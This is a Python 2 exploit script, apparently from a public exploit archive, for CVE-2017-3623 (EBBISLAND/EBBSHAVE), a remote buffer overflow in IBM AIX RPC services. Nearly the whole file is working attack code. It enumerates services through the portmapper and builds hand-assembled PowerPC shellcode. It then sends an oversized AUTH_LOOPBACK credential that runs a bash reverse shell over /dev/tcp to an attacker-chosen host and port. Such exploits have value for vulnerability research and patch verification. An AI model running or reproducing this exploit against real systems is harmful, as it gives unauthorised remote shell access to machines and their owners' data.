256 lines
No EOL
6.2 KiB
Python
Executable file
256 lines
No EOL
6.2 KiB
Python
Executable file
# Exploit Title: EBBISLAND EBBSHAVE 6100-09-04-1441 - Remote Buffer Overflow
|
|
# Date: 2018-09-19
|
|
# Exploit Author: Harrison Neal
|
|
# Vendor Homepage: https://www.ibm.com/us-en/
|
|
# Version: 6100-09-04-1441, 7100-03-05-1524, 7100-04-00-0000, 7200-01-01-1642
|
|
# Tested on: IBM AIX PPC
|
|
# CVE: CVE-2017-3623
|
|
# EBBISLAND / EBBSHAVE RPC Buffer Overflow for IBM AIX PPC
|
|
|
|
|
|
#!/usr/bin/python
|
|
# Usage: ebbshave-aixgeneric-v1.py rhost lhost lport gid_base execl_func execl_toc
|
|
|
|
# Exploit code example; shellcode requires /usr/bin/bash on the target
|
|
|
|
# Example values for my AIX 7.2 LPAR:
|
|
# gid_base: 3007d390
|
|
# execl_func: d0307940
|
|
# execl_toc: f081bc20
|
|
|
|
# CAUTION: If a RPC service repeatedly crashes, it can be automatically disabled
|
|
|
|
from os import urandom
|
|
from socket import socket, AF_INET, SOCK_STREAM
|
|
from struct import pack, unpack
|
|
from sys import argv, exit
|
|
from time import time, sleep
|
|
|
|
def getCredLoopbackBody():
|
|
global gid_base, rhost, lhost, lport, gid_base, execl_func, execl_toc
|
|
|
|
epoch = pack('>I', time()) # Make sure the system clock is in sync w/ target
|
|
|
|
# Doesn't matter, ljust call assumes len <= 4
|
|
node_name = 'hn'
|
|
node_length = pack('>I', len(node_name))
|
|
node_name = node_name.ljust(4, '\x00')
|
|
|
|
# Also doesn't matter
|
|
uid = pack('>I', 0)
|
|
gid = pack('>I', 0)
|
|
|
|
# Big enough to trigger an overflow
|
|
# Not big enough to trigger defensive code
|
|
# You could make this a little bit less,
|
|
# but you'd have to tweak the part 2 code
|
|
gids_len = pack('>I', 64)
|
|
|
|
base_addr = pack('>I', gid_base)
|
|
addr_8c = pack('>I', gid_base + 0x8c)
|
|
addr_a8 = pack('>I', gid_base + 0xa8)
|
|
addr_4c = pack('>I', gid_base + 0x4c)
|
|
|
|
func_addr = pack('>I', execl_func)
|
|
toc_addr = pack('>I', execl_toc)
|
|
|
|
cmd = 'bash -i >& /dev/tcp/' + lhost + '/' + lport + ' 0>&1'
|
|
cmd = cmd.ljust(0x30, '\x00')
|
|
|
|
# Each GID is 4 bytes long, we want 64
|
|
gids = (
|
|
# +0x0 # filepath
|
|
'/usr/bin/bash\x00\x00\x00'
|
|
|
|
# +0x10 # argv[0]
|
|
'bash\x00\x00\x00\x00'
|
|
|
|
# +0x18 # argv[1]
|
|
'-c\x00\x00'
|
|
|
|
# +0x1c # argv[2]
|
|
) + cmd + (
|
|
|
|
# +0x4c # r3 = filepath
|
|
'\x70\x63\x00\x00' # andi. r3, r3, 0x0
|
|
'\x3c\x60'
|
|
) + base_addr[0:2] + ( # lis r3, ...
|
|
'\x60\x63'
|
|
) + base_addr[2:4] + ( # ori r3, r3, ...
|
|
|
|
# +0x58 # r4 = argv[0]
|
|
'\x38\x83\x00\x10' # addi r4, r3, 0x10
|
|
|
|
# +0x5c # r5 = argv[1]
|
|
'\x38\xa4\x00\x08' # addi r5, r4, 0x8
|
|
|
|
# +0x60 # r6 = argv[2]
|
|
'\x38\xc5\x00\x04' # addi r6, r5, 0x4
|
|
|
|
# +0x64 # r7 = NULL
|
|
'\x70\xe7\x00\x00' # andi. r7, r7, 0x0
|
|
|
|
# +0x68 # r2 = libc.a TOC for execl
|
|
'\x70\x42\x00\x00' # andi. r2, r2, 0x0
|
|
'\x3c\x40'
|
|
) + toc_addr[0:2] + ( # lis r2, ...
|
|
'\x60\x42'
|
|
) + toc_addr[2:4] + ( # ori r2, r2, ...
|
|
|
|
# +0x74 # execl
|
|
'\x71\x08\x00\x00' # andi. r8, r8, 0x0
|
|
'\x3d\x00'
|
|
) + func_addr[0:2] + ( # lis r8, ...
|
|
'\x61\x08'
|
|
) + func_addr[2:4] + ( # ori r8, ...
|
|
'\x7d\x09\x03\xa6' # mtctr r8
|
|
'\x4e\x80\x04\x21' # bctrl
|
|
|
|
# +0x88 # 0x14 padding
|
|
'AAAAAAAAAAAAAAAAAAAA'
|
|
|
|
# +0x9c # Will be NULL
|
|
'ZZZZ'
|
|
|
|
# +0xa0
|
|
# @+948: r5 = +0x8c
|
|
# @+968: r5 = *(+0x8c + 0x18) = *(+0xa4)
|
|
|
|
# +0xa4
|
|
# @+968: r5 = +0xa8
|
|
# @+972: r0 = *(r5 + 0x0) = *(+0xa8)
|
|
|
|
# +0xa8
|
|
# @+972: r0 = +0x4c
|
|
# @+980: ctr = r0 = +0x4c
|
|
# @+988: branch to ctr
|
|
) + addr_8c + addr_a8 + addr_4c + (
|
|
|
|
# +0xac # padding
|
|
'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
|
|
)
|
|
|
|
print ":".join("{:02x}".format(ord(c)) for c in gids)
|
|
print len(gids)
|
|
|
|
return epoch + node_length + node_name + uid + gid + gids_len + gids
|
|
|
|
def getCredLoopback():
|
|
cred_flavor = pack('>I', 0x55de) # AUTH_LOOPBACK
|
|
|
|
cred_body = getCredLoopbackBody()
|
|
cred_len = pack('>I', len(cred_body))
|
|
|
|
return cred_flavor + cred_len + cred_body
|
|
|
|
def getAuthNone():
|
|
auth_flavor = pack('>I', 0) # AUTH_NONE
|
|
|
|
auth_len = pack('>I', 0)
|
|
|
|
return auth_flavor + auth_len
|
|
|
|
def getMessage(prog_num, ver_num, proc_num, use_loopback_cred):
|
|
xid = urandom(4)
|
|
|
|
mtype = pack('>I', 0) # CALL
|
|
|
|
rpcvers = pack('>I', 2)
|
|
|
|
prog = pack('>I', prog_num)
|
|
vers = pack('>I', ver_num)
|
|
|
|
proc = pack('>I', proc_num)
|
|
|
|
cred = ( getCredLoopback() if use_loopback_cred else getAuthNone() )
|
|
|
|
verf = getAuthNone()
|
|
|
|
return xid + mtype + rpcvers + prog + vers + proc + cred + verf
|
|
|
|
def getPacket(message):
|
|
# MSB on = this is the last fragment
|
|
# LSBs = fragment length
|
|
frag = pack('>I', len(message) + 0x80000000)
|
|
|
|
return frag + message
|
|
|
|
if len(argv) < 7:
|
|
print 'Usage: ebbshave-aixgeneric-v1.py rhost lhost lport gid_base execl_func execl_toc'
|
|
exit(1)
|
|
|
|
rhost = argv[1]
|
|
lhost = argv[2]
|
|
lport = argv[3]
|
|
gid_base = int(argv[4], 16)
|
|
execl_func = int(argv[5], 16)
|
|
execl_toc = int(argv[6], 16)
|
|
|
|
# Query the portmapper for services
|
|
|
|
services = []
|
|
|
|
s = socket(AF_INET, SOCK_STREAM)
|
|
s.connect((rhost, 111)) # port 111 for portmapper
|
|
s.send(getPacket(getMessage(
|
|
100000, # portmapper
|
|
2, # version 2
|
|
4, # DUMP
|
|
False # unauth request
|
|
)))
|
|
|
|
s.recv(0x1c) # skip over fragment length, XID, message type, reply state, verifier, accept state
|
|
|
|
while list(unpack('>I', s.recv(4)))[0]: # while next "value follows" field is true
|
|
prog_num, ver_num, proto_num, port = unpack('>IIII', s.recv(16))
|
|
if (prog_num == 100024 # status
|
|
and proto_num == 6): # TCP
|
|
print '[ ] Found service ' + str(prog_num) + ' v' + str(ver_num) + ' on TCP port ' + str(port)
|
|
services.append((prog_num, ver_num, port))
|
|
|
|
s.close()
|
|
|
|
# Try attacking
|
|
|
|
for service in services:
|
|
prog_num, ver_num, port = service
|
|
|
|
serv_str = str(prog_num) + ' v' + str(ver_num)
|
|
|
|
for attack in [False, True]:
|
|
sleep(1) # be gentle
|
|
|
|
print '[ ] ' + ( 'Attacking' if attack else 'Pinging' ) + ' ' + serv_str
|
|
|
|
s = socket(AF_INET, SOCK_STREAM)
|
|
s.connect((rhost, port))
|
|
|
|
resp_len = 0
|
|
|
|
s.send(getPacket(getMessage(
|
|
prog_num,
|
|
ver_num,
|
|
0, # NULL, acts like a ping
|
|
attack
|
|
)))
|
|
|
|
s.settimeout(5) # give inetd/... a chance to spin up the service if needed
|
|
|
|
try:
|
|
resp_len = len( s.recv(1024) ) # try to receive up to 1024 bytes
|
|
except:
|
|
resp_len = 0 # typically either timeout, connection error, or Ctrl+C
|
|
|
|
try:
|
|
s.close() # try closing the connection if it isn't already dead
|
|
except:
|
|
pass # connection is probably already dead
|
|
|
|
print '[ ] Got response length ' + str(resp_len)
|
|
|
|
if resp_len == 0: # suspect the service either timed out or crashed
|
|
if attack:
|
|
print '[+] Probably vulnerable to EBBSHAVE, hopefully you have a shell'
|
|
else:
|
|
print '[-] Service probably down or otherwise misbehaving, skipping...'
|
|
break |